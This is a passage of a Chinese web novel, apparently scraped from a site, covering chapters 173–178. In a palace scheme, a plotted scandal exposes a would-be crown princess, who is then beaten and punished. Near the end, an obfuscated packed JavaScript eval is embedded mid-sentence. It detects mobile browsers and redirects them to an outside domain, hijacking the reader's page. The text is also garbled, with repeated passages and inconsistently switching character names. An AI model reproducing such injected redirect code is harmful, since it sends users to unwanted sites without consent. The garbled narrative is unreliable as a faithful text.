两名丫鬟跪在门外,瑟瑟发抖。 四公主冷冷地扫了她们一眼,吩咐道: “去,看看茅清兮醒了没。就说……朕来了,让她出来接驾。” 那语气,仿佛她是这宫中的主宰一般。 两名丫鬟对视一眼,眼中闪过一丝恐惧。 其中一个稍稍镇定些的,颤巍巍地起身, 上前轻轻叩了叩门, “臧夫人……臧夫人……” 她连叫了几声,屋内都没有任何回应。 丫鬟心中一慌, 大着胆子推开了房门…… “啊——!” 一声凄厉的尖叫,划破了长空。 清韵再也顾不得其他, 一把推开挡在身前的栖阳长公主, 冲进了屋内。 栖阳长公主想要阻止,却已经来不及了。 她看着四公主脸上那掩饰不住的得意, 心中一沉。 完了,只怕……一切都晚了! 那丫鬟连滚带爬地从屋内跑了出来, 脸色惨白如纸, “公……公主……奴婢……奴婢……” 她结结巴巴,半天说不出一句完整的话来。 四公主心中一喜, 面上却故作严厉地呵斥道: “慌慌张张,成何体统!到底怎么回事?!” “奴婢……奴婢看到……” 那丫鬟深吸一口气, 似乎是下了极大的决心,颤声道: “奴婢看到……苏大人……和……和……” 她“和”了半天,却始终说不出后面的话来。 “和谁?!” 四公主步步紧逼,语气中带着一丝难以掩饰的兴奋。 “和……和臧夫人……” 丫鬟的声音,如同蚊蚋一般,几不可闻。 第一百七十三章 “什么?!” 四公主故作惊讶地瞪大了眼睛, “你这贱婢,竟敢胡言乱语!苏大人怎么可能和臧夫人……” 她的话还没说完, 就被清韵郡主打断了。 “既然她看到了,一起进去瞧瞧呗,不就真相大白了?” 清韵的声音,冰冷而尖锐,带着一丝毫不掩饰的嘲讽。 她转头看向栖阳长公主, 轻轻摇了摇头, 示意她稍安勿躁。 随后,清韵的嘴角,勾起一抹意味深长的笑容。 她就知道,茅清兮不会那么容易被人算计。 躲在暗处的茅清兮, 看到这一幕,心中暗自松了口气。 看来,清韵已经明白了她的计划,并且…… 很好地配合了她。 “这……” 四公主的脸色,瞬间变得苍白。 她万万没想到,事情竟会发展到这一步。 原本以为胜券在握, 如今看来…… 她强作镇定地笑了笑, “既然如此,那……那就进去看看吧。不过,本公主相信,这其中一定有什么误会……” 她的声音,带着一丝不易察觉的颤抖。 茅清兮看着四公主的背影, 嘴角勾起一抹冷笑。 好戏,才刚刚开始……四公主疾步入内,高跟的绣鞋敲击着青石地面,发出急促的“哒哒”声。 她的目光,像两道锐利的箭,直直射向那张雕花大床。 帐幔低垂,如烟似雾,遮掩着其后的春光。 但那隐约可见的两个人影,却如两团燃烧的火焰,扭曲、交叠,难舍难分。 “这……这不可能!” 四公主失声惊呼,声音微微发颤,仿佛不敢相信自己的眼睛。 她下意识地攥紧了手中的丝帕,指节因用力而泛白。 但仅仅一瞬,那惊讶便如潮水般退去,取而代之的,是一抹难以抑制的狂喜。 像是一只狡猾的狐狸,终于等到了猎物落入陷阱。 她微微扬起下巴,嘴角勾起一抹冷笑,心中暗道: 茅清兮啊茅清兮,天堂有路你不走,地狱无门你偏来投! 今日之后,我看你还如何在本公主面前嚣张! 你将身败名裂,声名狼藉,再无翻身之日! 其他人并未注意到四公主这转瞬即逝的表情变化。 他们的目光,都被那床上的一幕牢牢吸引。 呼吸声,似乎都变得粗重起来。 床榻之上,被褥隆起,像一座小山,遮蔽了床上人的面容。 但那紧紧相拥的姿态,以及裸露在外的、交缠着的两条手臂,无不昭示着,这是一对正在沉沦欲海的男女。 床下,衣物凌乱地散落一地,如同一场狂欢后的狼藉。 亵衣,肚兜,亵裤……五颜六色,堆叠在一起,散发着暧昧的气息。 甚至,有件女子的小衣,还搭在了床边的脚踏上,轻飘飘的,仿佛在嘲笑着世间的礼教与规矩。 这不堪入目的画面,如同一记响亮的耳光,狠狠地扇在了每个人的脸上。 圣上背着手,站在人群的最前方,脸色阴沉得仿佛能拧出水来。 他的胸膛剧烈地起伏着,显然是在极力压抑着心中的怒火。 栖阳长公主飞快地扫了一眼身旁的清韵郡主。 见她只是睁大了眼睛,好奇地盯着床榻,神色还算平静,心中顿时松了口气。 她暗自庆幸,还好清韵还小,不懂这些男女之事。 “端盆水来。” 栖阳长公主淡淡吩咐,声音不大,却带着不容置疑的威严。 她微微侧过身子,挡住了清韵的视线。 四公主立刻心领神会,她朝身后的丫鬟使了个眼色。 那丫鬟机灵得很,立刻转身,脚步匆匆地去准备了。 片刻之后,满满一盆冷水,被端了上来。 水面上还漂浮着几块碎冰,散发着丝丝寒气。 按照栖阳长公主的暗示,那丫鬟深吸一口气,猛地将手中的水盆,朝床上泼去。 “哗——” 冰冷的水,如同一条毒蛇,瞬间浇灭了床上人的热情。 “啊!” 一个女子猛地坐起身,发出一声短促的尖叫。 她猛地睁开眼,入目是层层叠叠的人影。 她揉了揉惺忪的睡眼,眼神迷茫,似乎还没从梦中清醒过来。 发生了什么? 她茫然四顾,脑子里一片混沌。 直到…… “为何你会躺在寡人的榻上?!” 身旁,传来一声熟悉的怒喝,如同一道惊雷,将她瞬间劈醒。 茅暮暮猛地转头,看向声音传来的方向—— 钱云霄! 他怎么会在这里? 原本的混沌,在看清眼前情形的瞬间,化作一片空白。 紧接着,一股寒意, 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每一个字,都像一根针,狠狠地扎在茅暮暮的心上。 茅暮暮被她吼得一哆嗦,身体下意识地往后缩了缩。 她紧紧咬着下唇,努力让自己看起来可怜些。 只是她忘了,自己如今这副模样,再怎么装可怜,也只会让人觉得恶心。 “殿下……我……” 她试图为自己辩解,声音细若蚊蝇,带着一丝不易察觉的颤抖。 可她的话还没说完,就被钱云霄粗暴地打断了。 “闭嘴!” 钱云霄怒吼一声,眼中燃烧着熊熊怒火,恨不得将她生吞活剥。 他一把揪住茅暮暮的头发,将她狠狠地拽到自己面前。 “你这个**!竟然敢算计孤!” 他咬牙切齿,每一个字都像是从牙缝里挤出来的,带着无尽的恨意。 茅暮暮被他揪得头皮发麻,疼得眼泪都流了出来。 她拼命地摇头,想要挣脱钱云霄的控制。 “殿下,我没有……我真的没有……” 她哭喊着,声音嘶哑而绝望,像一只被逼到绝境的小兽。 钱云霄却根本不听她的解释。 第一百七十四章 他现在只想把这个女人**万段,以泄心头之恨。 “父皇,微臣也是一脸懵逼怎么会出现在此处!” 钱云霄顾不得许多,急切地向圣上辩解。 “微臣本想着在花园里看看风景……” 他语无伦次,声音都有些变了调,额头上渗出细密的汗珠。 “是她!是她对儿臣下药!” 钱云霄猛地指向茅暮暮,眼中燃烧着熊熊怒火。 茅暮暮一听这话,如遭雷击。 她瞪大了眼睛,难以置信地看着钱云霄。 “殿下……您怎么能如此怀疑臣女……” 她颤抖着声音,泪水夺眶而出。 “臣女……奴家心中殿下永远是九天之上最闪耀的星,怎么会……怎么会做出这种事……” 她一边哭诉,一边试图用言语来博取钱云霄的同情。 她知道,自己现在唯一的希望,就是钱云霄。 只要他相信自己,自己就还有一线生机。 可钱云霄根本不为所动。 他冷冷地看着茅暮暮,眼中满是厌恶和鄙夷。 “我问你们茅清兮呢?!” 四公主的耐心,终于耗尽。 她再次厉声质问,声音中带着一丝歇斯底里。 茅暮暮被她吼得一愣,这才猛然意识到,自己似乎说错了话。 “茅清兮……她和苏将军不是一伙的……” 她下意识地开口,话说到一半,却猛地顿住。 糟了! 茅暮暮心中咯噔一下,差点咬到自己的舌头。 她惊恐地看向四公主,却见四公主的脸色,已经阴沉得可怕,仿佛暴风雨前的天空。 而圣上和栖阳长公主的眼神,也变得越来越不对劲,锐利如刀,似乎要将她看穿。 一种不祥的预感,在茅暮暮心中迅速蔓延,像藤蔓一样,紧紧缠绕着她的心脏。 四公主已经完全无法忍受了。 她精心设计,原本万无一失的计划,如今竟变成了一场闹剧! 她深吸一口气,强压下心中的怒火,目光在屋内逡巡,像一只愤怒的母狮,在寻找着猎物。 她不相信,茅清兮会凭空消失! 突然,她的目光,定格在了床上。 床幔低垂,遮蔽了所有人的视线 四公主一个箭步冲上前,猛地一扯—— “哗啦”一声,床幔被她整个扯了下来! “我倒要看看,茅清兮究竟……” 话音未落,四公主的声音却戛然而止。 她的瞳孔骤然收缩,仿佛看到了什么极其恐怖的画面,身体瞬间僵硬如石。 “啊——” 茅暮暮惊叫一声,本能地向后躲去。 可她忘了自己身后还有人。 她猛地撞进一个坚硬的胸膛,紧接着,腰间一紧,一双粗壮的手臂,紧紧地箍住了她。 黏腻的触感,让她头皮发麻。 “暮暮,你跑什么?” 粗嘎的声音,在耳边响起,带着一股难闻的汗臭味。 茅暮暮猛地回头,看清身后之人的瞬间,血液仿佛凝固了。 她惊恐地瞪大了眼睛,眼珠子几乎要从眼眶里跳出来。 “刁然!怎么是你?!” 她失声尖叫,声音凄厉得仿佛要刺破耳膜。 她拼命地挣扎,想要摆脱刁然的控制。 可刁然却像一块牛皮糖一样,死死地黏在她身上,怎么甩都甩不掉。 他咧嘴一笑,露出一口黄牙,色迷迷地说道: “暮暮,你怎么了?不认识我了?” “我们昨晚……不是很‘开心’吗?” 他故意加重了“开心”两个字的语气,眼神猥琐而下流。 茅暮暮只觉得一阵恶心,胃里翻江倒海,差点吐出来。 她这才发现,自己和刁然,竟然都是赤身裸体! 而更让她崩溃的是,钱云霄,也同样一丝不挂地站在一旁! 三个人,就这样赤裸裸地纠缠在一起,呈现在众人面前! 这……这简直比杀了她还难受! 茅暮暮只觉得眼前一黑,差点晕过去。 所有人都愣住了,包括清韵郡主。 栖阳长公主下意识捂住了清韵的眼睛。 清韵从指缝中看到这意外的一幕。 太刺激了! 她兴奋地眼睛发亮,恨不得拍手叫好。 可理智告诉她,现在不是看热闹的时候。 她悄悄地拽了拽栖阳长公主的衣袖,示意她赶紧处理。 栖阳长公主无奈地叹了口气,知道自己这个妹妹,是彻底被带坏了。 她定了定神,沉声喝道: “还愣着干什么?还不赶紧把他们分开!” 几个侍卫似月初醒,连忙上前,七手八脚地将三人拉开。 钱云霄脸色铁青,一言不发。 他紧紧地咬着牙,浑身颤抖,显然是在极力压抑着心中的怒火。 刁然 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“还能怎么办?只能走一步看一步了。” “不过,这件事,你可千万不能说出去,知道吗?” 清韵郡主乖巧地点了点头,说道: “姑母放心,我一定守口如瓶。” 她心中暗自得意: 这件事,她当然不会说出去。 她还要留着,慢慢欣赏呢! 至于茅清兮…… 清韵郡主眼中闪过一丝狡黠的光芒。 她相信,茅清兮一定不会让她失望的。 而此时,躲在暗处的茅清兮,也并不知道,事情竟然会发展到这个地步。 富峻按照她的吩咐,将钱云霄和茅暮暮挪到了她之前的院子。 可他竟然把刁然也弄来了。 这可真是……意外之喜啊! 茅清兮嘴角勾起一抹冷笑。 她倒要看看,茅暮暮和钱云霄,还能翻出什么浪花来!“殿下……我……我真的不知道他是怎么进来的……真的……” 茅暮暮死死拽住钱云霄的衣角,泪珠大颗大颗砸落,在华贵的衣料上晕开深色的水痕。 事到如今,她若还想当太子妃,就必须咬紧牙关,把这盆脏水牢牢扣死在刁然头上。 第一百七十五章 可钱云霄会信吗? 她心底其实一点底都没有。 视线慌乱地扫向刁然,茅暮暮眼中带着哀求,甚至还有一丝不易察觉的威胁。 她在赌,赌刁然不敢把自己供出来,毕竟……这事儿也关系到他的名声。 谁知,刁然却仿佛没看到她的眼神,只是吊儿郎当地开了口: “哎我说,茅暮暮,你这话可就不对了啊。不是你哭着喊着求我来的吗?” 刁然轻佻地笑了声,话里有话。 “我何须向你低头?!” 茅暮暮尖叫出声,声音都劈了叉,像一只被踩了尾巴的猫。 刁然平日里就是个混不吝的,眼下更觉得自己脸面全无,被个女人当猴耍。 他阴沉着脸,往前逼近一步: “怎么,茅二小姐这是翻脸不认人了?前几日,你还偷偷溜到我房里,说你那姐姐有的,你也要有……” 他故意顿了顿,暧昧的眼神扫过茅暮暮。 “……那晚,你可不是这么说的。” “你胡说什么!” 茅暮暮怒吼,挥手就想给刁然一个耳光。 “你也配在我面前放肆!我凭啥搭理你……” “茅暮暮,别给脸不要脸。” 刁然一把抓住她的手腕,稍一用力,疼得她直抽气。 “你都能让你姐姐爬太子的床,怎么,我就碰不得你?” 刁然冷笑, “如今连太子殿下都着了你的道,不得不说你这操作有点东西。怎么,嫌我脏?还是嫌我比不上你那些个入幕之宾?” 这番话,如同惊雷,将茅暮暮劈得魂飞魄散。 她惊恐地瞪大双眼,只觉得整个世界都在旋转,仿佛下一秒就要坠入无底深渊。 那些过往,那些不堪,全都被刁然无情地撕开,暴露在光天化日之下。 完了……全完了…… “殿下,我真的没有……真的……您听我解释……” 茅暮暮手脚并用地爬向钱云霄,像条摇尾乞怜的狗。 钱云霄眼底闪过一丝厌恶,猛地一脚将她踹开。 这一脚又狠又急,正中茅暮暮小腹,她惨叫一声,直接喷出一口血沫子。 “你最好给我说清楚,你何故擅闯寝宫?” 钱云霄的声音是从牙缝里挤出来的,冰冷、残酷,每一个字都像一把刀子,狠狠扎进茅暮暮的心里。 “我,我……” 茅暮暮语无伦次,平日里的伶牙俐齿,此刻荡然无存。 她想说自己是被人陷害的,可话到嘴边,却又无论如何也说不出口。 因为她知道,钱云霄什么都知道。 他知道自己算计了他,更知道……自己不干净。 “**!**!” 钱云霄怒吼着,一脚接一脚,狠狠踹在茅暮暮身上。 他要这个**死! 茅暮暮疼得连连哀叫,却根本无力躲避。 她感觉自己的五脏六腑都要被踹碎了,骨头也断了好几根。 碎骨刺穿血肉之躯,带来一阵阵钻心的剧痛。 她惊恐地意识到,钱云霄是真的想要她的命,毫不留情。 “救命……救命……” 微弱的呼救声,从茅暮暮的喉咙里挤出来,嘶哑、绝望。 刁然被这血腥的一幕吓得脸色煞白,双腿发软。 钱云霄狠狠瞪了他一眼,仿佛在看一只随时可以碾死的蚂蚁。 刁然吓得一哆嗦,连忙低下头,死死盯着自己的脚尖,再不敢发出半点声音。 钱云霄收回脚,弯腰捡起地上的衣服,胡乱往身上套。 他现在脑子里乱成一锅粥,必须尽快离开这里。 父皇那边还不知道会如何处置,他得赶紧回去,找孔谋商量出一个万全之策。 决不允许这等丑闻动摇太子之位。 想到这里,钱云霄瞥见还瘫在地上的茅暮暮,无名火起,抬脚又是一下。 “啊——” 茅暮暮只觉得肚子里像是炸开了一样,有什么东西碎掉了,撕心裂肺的疼痛瞬间席卷全身。 她抱着肚子,蜷缩在地上,像一只濒死的虾米,不断哀嚎,声音凄厉。 栖阳长公主原本是想给他们三人留点空间,好尽快穿戴整齐,之后再商议如何处理这桩丑事。 可眼下茅暮暮直接被钱云霄打成重伤,她只能立刻派人去请太医。 再耽搁下去,怕是要出人命了。 得先将人医好,否则今日之事,更不好向圣上交代。 太医匆匆赶来,一番望闻问切,把脉之后,说出的话却让所有人都愣住了。 “茅二小姐的子宫受损严重,以后……怕是不能生育了。” 吉太医的声音很轻,却如同一道惊雷,在众人耳边炸响。 清韵郡主和茅清兮对视一眼,都从对方眼中看到了惊讶 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其他人都各怀心思,冷眼旁观。 栖阳长公主看着眼前这混乱的场面,有些头疼地揉了揉太阳穴。 圣上早已拂袖而去,临走前,只留下一句话: “这事,就交给你处理了。” 这话说得轻巧,可这烂摊子,又岂是那么好收拾的? 栖阳长公主将所有人都叫到屋里,包括那些原本在院子里伺候的下人。 还有茅清兮,她本可以置身事外,却被四公主给叫住了,非要拉她一起“看戏”。 四公主自己惹出的祸事,却要让茅清兮来背锅。 如今更是要将茅清兮牵扯进来,无非就是想让她当众出丑,最好能把她也拖下水。 茅清兮自然明白四公主的心思,只是暗自冷笑。 “喂……” 清韵郡主悄悄用胳膊肘捅了捅茅清兮。 茅清兮侧过头,看着她。 “我跟你说,我可听说了,” 清韵压低声音,神神秘秘地说, “你把四公主养的那只老虎给宰了?” “嗯,” 茅清兮也小声回道, “不仅宰了,还炖了锅汤,味道还不错。 第一百七十六章 ” “真的假的?!” 清韵眼睛一亮, “那你有没有给我留点?我还没吃过虎肉呢!” 茅清兮朝四公主那边努了努嘴,只见她正阴沉沉地盯着自己。 那眼神,像是淬了毒的刀子,恨不得将她千刀万剐。 “下次吧,下次一定给你留。” 茅清兮笑了笑, “不过,眼下咱们还是先看戏吧。这出戏,可比虎肉精彩多了。” “清韵!清兮!你们两个嘀嘀咕咕什么呢?!” 栖阳长公主忽然出声。 清韵和茅清兮连忙抬头,只见所有人都看着她们。 清韵做了个鬼脸,茅清兮则是一脸无辜地眨了眨眼。 栖阳长公主无奈地摇了摇头,将视线重新投向了跪在地上的茅暮暮和刁然。 “茅暮暮,本宫问你,你口口声声说太子殿下碰了你,可有证据?” 茅暮暮愣了一下,她哪来的证据? “说话!”栖阳长公主厉声喝道。 “我……”茅暮暮支支吾吾,眼神闪躲。 “没有证据,那就是污蔑!” 栖阳长公主冷冷地看着她, “污蔑皇室,该当何罪,你可知道?” 茅暮暮吓得浑身一哆嗦,连忙磕头: “长公主饶命!长公主饶命!我……我没有污蔑太子殿下……” “那你就是承认自己和刁然有染了?” 茅暮暮脸色煞白,嘴唇颤抖着,说不出话来。 “来人,传本宫的懿旨,” 栖阳长公主不再理会茅暮暮, “宋家二小姐茅暮暮,不守妇道,与林家二公子刁然私通。即日起,将茅暮暮逐出宋家,贬为庶民,送入城外净月庵,带发修行,无召不得入京!” “不!我不要去净月庵!我不要当姑子!” 茅暮暮尖叫着,拼命挣扎,却被几个侍卫死死按住。 “至于刁然……” 栖阳长公主看向一旁吓傻了的刁然, “念在你年少无知,受人蛊惑,便饶你一命。但死罪可免,活罪难逃。罚你禁足一年,抄写《女诫》千遍,以儆效尤!” 刁然一听不用死,顿时松了口气,连忙磕头谢恩。 栖阳长公主看着状若疯癫的茅暮暮,眼中没有一丝怜悯,只是挥了挥手。 “带下去吧。” 侍卫们一左一右,架起茅暮暮,将她拖了出去。 茅暮暮的哭喊声,渐渐远去,最终消失在夜色中。 钱云霄看着这一幕,心中暗自庆幸。 还好姑母处理得果断,将这事压了下来。 否则,一旦传扬出去,他的太子之位,恐怕就真的保不住了。事情的走向完全出乎茅清兮的预料,她轻轻叹了口气,看向一旁同样震惊的茅暮暮。 机关算尽又如何? 一心想攀附太子,成为太子妃,到头来还不是一场空。 不,或许比一场空更糟。 茅清兮微微眯起眼睛。 以圣上对皇室血脉的看重,又怎么可能让一个不清白的女子成为太子妃? 更别说,还有明显对茅暮暮深恶痛绝的钱云霄。 茅暮暮,这辈子是彻底毁了。 她面如死灰,眼神空洞地扫过屋内的每一个人,仿佛在做最后的告别。 突然,她像是想起了什么,急促地喘息起来,春秋焦急的声音似乎还在耳边回荡:“小姐,您再等等,再等等……” 可她没有等。 如今这局面,别说外祖父,就是天王老子来了,也救不了她! 栖阳长公主雷厉风行地处理完这场闹剧,转身欲走。 “长公主,我,我还有件事。”刁然突然出声,叫住了她。 栖阳长公主停下脚步,转过身,用一种审视的目光看着他,似乎在评估他话里的真假。 “何事?”她的声音里透着一丝不耐。 刁然缩了缩脖子,似乎有些畏惧栖阳长公主的威严,但还是硬着头皮开口:“长公主,您看,这茅暮暮如今……已非完璧,我若是娶了她,岂不是……有损颜面?传出去,我林家岂不是成了笑柄?” 他故意顿了顿,观察着栖阳长公主的反应,又补充道:“更何况,她还不能生育,我林家的香火……” “你说什么?!”茅暮暮猛地抬头,声音嘶哑得像破锣,眼睛里燃烧着愤怒的火焰。 她简直不敢相信,刁然竟然敢当众羞辱她! 刁然被她吼得一愣,随即露出更加厌恶的神情:“怎么,我说错了吗?你自己做的好事,还怕人说?” 他转向栖阳长公主,继续道:“长公主 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胸口像是被一只大手狠狠攥住,疼得她几乎要窒息。 眼前一黑,她直挺挺地倒了下去。 “既然如此,你便择个吉日,将人抬回去吧。长平侯那边,本宫自会去分说。”栖阳长公主面无表情地扫了一眼昏死过去的茅暮暮,语气淡淡。 “多谢长公主!”刁然连忙跪下磕头,眼中满是得意的光芒。 茅暮暮,你不是看不起我吗? 如今还不是落到我手里? 我要让你当牛做马,跪在我面前摇尾乞怜! 栖阳长公主挥了挥手,两个侍卫上前,粗鲁地架起茅暮暮,朝陆府的方向走去。 名义上是“护送”,实际上却是监视,防止她胡言乱语。 至于四公主府上的其他人,栖阳长公主倒显得云淡风轻。 若是这事儿从这里传出去,四公主也脱不了干系。 钱云霄站在角落里,看着眼前这一幕,心里五味杂陈。 原本他还想借机试探一下茅清兮,看她是否与那晚的刺杀有关,毕竟孔谋一直怀疑她。 但现在,他只觉得一阵疲惫。 他现在只想快点回府,和孔谋好好商议一下,如何应对父皇的怒火。 第一百七十七章 他深深地看了一眼茅清兮,转身快步离开了。 栖阳长公主还有更重要的事要做——她得亲自去一趟陆府,把这烂摊子收拾干净。 一方面是把茅暮暮送回去,另一方面,也得给长平侯一个交代,顺便敲打敲打他。 临走前,栖阳长公主忽然想起什么,转过身,对茅清兮露出一个和蔼的笑容: “清兮丫头,最近可有空闲?不如来我府上坐坐,陪我说说话?” “当然有空!”清韵郡主抢先一步,亲昵地挽住茅清兮的手臂,生怕她跑了似的。 栖阳长公主白了她一眼,这丫头,还是这么风风火火。 茅清兮浅浅一笑:“正想去长公主府上叨扰,只是怕唐突了。既然长公主盛情相邀,清兮自当从命。” “好,好,好!”栖阳长公主连说了三个好字,脸上的笑容更盛,“你和清韵先回去,我处理完这边的事情,就派人去接你们。” 茅清兮微微颔首,和清韵一起目送栖阳长公主离开。 “茅清兮,你可真有本事!”四公主突然挡在她们面前,语气中充满了嫉妒和不甘,“本宫精心策划,竟然还是让你逃过一劫!” 茅清兮笑容不变,语气温和:“四公主何出此言?今日不是赏花宴吗?难道还有别的节目?” 四公主的脸色一阵青一阵白,她死死地盯着茅清兮,眼神像是要**。 她做梦也没想到,自己竟然会输给茅清兮! 而且输得这么惨! “钱巧芍,你与其在这里耍嘴皮子,不如回去好好打扮打扮!”清韵郡主挺身而出,挡在茅清兮面前,故意晃了晃头上的珠钗,又抚了抚身上的华服,“免得年老色衰,嫁不出去,成了没人要的老姑婆!” “钱清韵!你给我闭嘴!”四公主气得浑身发抖,指着清韵郡主的鼻子大骂。 “哎呦呦,这是恼羞成怒了?”清韵郡主笑得前仰后合,“我这人啊,就是心直口快,有什么说什么,你可别往心里去啊!” 她一边说,一边朝四公主挤眉弄眼,气得四公主差点晕过去。 “走啦,清兮,跟这种人有什么好说的!”清韵郡主得意地挽着茅清兮的手,扬长而去。 两人上了马车,绿绿早已等候在那里。 她之前被四公主的人打晕,幸好富峻及时赶到,将她救了出来。 “你可真行,把四公主气得脸都绿了!”茅清兮笑着打趣道。 “哼,她活该!”清韵郡主一脸不屑,“从小到大,她就没少跟我作对!皇舅舅宠我,赏我什么好东西,她都要来抢!抢不到就搞破坏!” 她指了指头上的珠钗:“就说这个,她当初也想要,可皇舅舅偏偏赏给了我!我今天戴着,就是想让她炸毛!” 茅清兮忍俊不禁,又道:“不过,四公主这人心胸狭窄,以后行事多留个心眼。” “怕什么?我跟她斗了这么多年,还没输过呢!”清韵郡主满不在乎地说道。 两人正说着,马车突然停了下来。 “怎么回事?”清韵郡主皱着眉头,掀开车帘。 只见潘云霄站在车前,脸色铁青。 “吁——”车夫勒紧缰绳,马儿嘶鸣一声,停了下来。 “臧夫人,苏某有事请教。”潘云霄的声音冷硬,毫无温度。 清韵郡主看看茅清兮,又看看潘云霄,一脸疑惑:“清兮,你认识他?” “不认识,”茅清兮摇了摇头,语气十分肯定,“我与苏大人素未谋面。” 她可不想跟锦衣卫扯上任何关系,尤其是这个喜怒无常的潘云霄。 更何况,他们之前还被困在密室里…… 她可不想再回忆起那段尴尬的经历。 潘云霄不会是为那件事来的吧? 茅清兮心里咯噔一下,有些不安。“臧夫人,苏某有事请教。” 潘云霄冷硬的嗓音砸过来,尾音微微发颤,像一把出鞘的刀。 他笔直地立在马车前,脸色铁青,周身气压低得像暴风雨前的海面。 清韵郡主看看茅清兮,又看看潘云霄,满眼疑惑: “清兮,你认识他?” “不认识。” 茅清兮答得斩钉截铁,眼皮都没抬一下,仿佛面前站着的不是锦衣卫指挥使,而是一根木头桩子。 “我与苏大人素未谋面。” 鬼才想跟锦衣卫扯上关系,尤其这位阴晴不定的指挥使。 何况……他们之前还被困在那处…… 光是回想,茅清兮都觉得脚趾能尴尬地抠出一座紫禁城。 潘云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132100|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霄不会是为那件事来的吧? 心头猛地一跳,茅清兮暗自警惕,指尖不自觉地摩挲着袖中的银针。 眼看潘云霄拦着不走,她索性下了马车,准备会一会这位煞神。 “我在前头的茶馆候着。” 清韵郡主探出头,对她说道,声音里透着一丝担忧,像一只护崽的母鸡。 茅清兮点点头,给了她一个“放心”的眼神,示意她稍安勿躁。 潘云霄冷冷瞥了她一眼,拐进一旁的小巷中。 他宽大的背影,每一步都像踩在茅清兮的心尖上,沉闷得让人心慌。 这条道上行人稀少,午后的阳光被两侧高墙切割成斑驳的光影。 要不是锦衣卫指挥使突然找上门,还不知道京城那些八卦小报,又要编排出什么香艳故事。 茅清兮暗自腹诽,面上却不动声色,像一尊没有感情的石雕。 她倒是不怕潘云霄,毕竟,先前那种情况,他都没能拿自己怎么样,更何况现在? 茅清兮深吸一口气,跟着进了巷子,步履沉稳。 潘云霄正负手立于巷中,身姿挺拔如松。 他缓缓转过身,那双幽深的眸子,像两口深不见底的古井,直直地盯住茅清兮。 “苏指挥使想说些什么?” 茅清兮率先开口,语气平静,听不出喜怒,像在谈论今天的天气。 潘云霄手指轻叩绣春刀柄,发出“嗒嗒”的声响,每一下都敲在茅清兮的心上。 他周身散发出冷冽的气势,像一把出鞘的利刃,锋芒毕露。 “臧夫人,”他一字一顿,每个字都像从冰窖里捞出来的,“苏某希望之前的事情,你能烂在肚子里。” 茅清兮身形未动,眸光却寸寸冷凝,像结了一层寒霜。 威胁? 她茅清兮这辈子最讨厌的就是被人威胁,比吞了苍蝇还恶心。 潘云霄要是好声好气地跟她说,或许还能商量,偏偏要用这种命令的口吻,真当她是吓大的? 她微微抬起下巴,语气里带着一丝嘲弄,像在看一个跳梁小丑: “苏指挥使所说何事?” “哦,我想起来了,”她故作恍然,唇角勾起一抹玩味的笑,眼底却闪过一丝寒光,“苏指挥使体内的毒已清? 第一百七十八章 莫非是找了哪位国色天香的小姐帮忙?” “臧夫人!” 潘云霄咬牙切齿,每一个字都像是从牙缝里挤出来的,带着压抑的怒火。 他脸色一阵青一阵白,像是打翻了的染料铺子,精彩纷呈。 “这件事若是传出去,臧夫人也难逃干系。” 他强压着怒火,试图用言语扳回一城,声音却微微发颤。 “苏指挥使此言差矣。” 茅清兮冷笑一声,寸步不让,像一只竖起尖刺的刺猬, “我不过是见苏大人神志不清,怕你在三公府惹出什么风流韵事,才出此下策。否则府里那么多千金小姐,冲撞到谁都不好,您说是不是?” 潘云霄只觉得一股热血直冲头顶,眼前一阵发黑。 他额角的青筋突突跳动,眼底窜起两簇火苗,仿佛要把茅清兮烧成灰烬。 但只一瞬,他便强行压下这股怒意,恢复了平日的冷静,像一条伺机而动的毒蛇。 “太子的事,与你脱不了干系。” 他话锋一转,语气笃定,像一把上了膛的火铳。 茅清兮自然不可能承认这种莫须有的罪名。 她轻嗤一声,像听到了什么天大的笑话: “苏指挥使空口无凭,便可以随意攀咬吗?这可不是锦衣卫的作风。” “本官亲眼所见,还需要什么证据?” 潘云霄冷哼,嘴角勾起一抹冰冷的弧度,像一只露出獠牙的狼, “何况,锦衣卫行事,有时也不需要证据。” “那你大可一试。” 茅清兮浑身紧绷,每一个毛孔都散发着危险的气息。 她知道,潘云霄不是在虚张声势。 潘云霄眼眸微眯,像鹰隼般锐利。 他突然欺身而上,速度快得惊人。 未出鞘的绣春刀,带着凌厉的劲风,砸向茅清兮的肩膀,像一道闪电。 茅清兮早有防备,足尖点地,身子像一片落叶般轻盈地飘开。 刀锋擦着她的衣角而过,带起一阵细微的风声,像死神的低吟。 潘云霄的攻击如影随形,紧追不舍,像跗骨之蛆。 两人你来我往,眨眼间已过了十几招,像两只搏斗的猎豹。 窄巷之中,拳风呼啸,衣袂翻飞,沙尘弥漫。 就在潘云霄手腕一翻,要拔刀时,茅清兮瞅准时机,一个鞭腿,正中他握刀的手腕。 绣春刀脱手而出,在空中划过一道弧线,“哐当”一声掉落在地,发出刺耳的声响。 潘云霄脸色阴沉如墨,眼中闪过一抹震惊,像见了鬼一样。 他没想到,茅清兮的身手竟如此诡谲。 茅清兮冷冷地看着他,声音如寒冰般刺骨,不带一丝感情: “潘云霄,你我本无冤无仇。之前的事,我可以当做什么都没发生过。但你执意要闹,那咱们就好好算算这笔账。” 潘云霄紧紧攥着拳头,指节泛白,手背青筋暴起,像一条条扭曲的蚯蚓。 他眼神复杂难辨,死死盯着茅清兮,像要把她生吞活剥。 他堵住茅清兮,原本只是想将之前的丑事掩盖过去,让它永远埋葬在黑暗中。 而茅清兮的意思,似乎也不打算声张,这本该是他想要的结果。 可不知为何,他心中仍有一股怒气,像一团燃烧的火焰,怎么也无法熄灭。 那股怒气中,还夹杂着一丝莫名的失落,像一只无形的手,紧紧攥住他的心脏。 他清楚地记得,在那黑暗的密室里,自己像一头发情的野兽,丑态毕露。 而这一切,都被茅清兮看在眼里,像一道无法抹去的耻辱烙印。 他所有的骄傲和自尊,都被无情地撕碎,狠狠踩在脚下,碾成齑粉。 他不愿,不愿自己在茅清兮眼中,是那样一个不堪的形象,连他自己都唾弃。 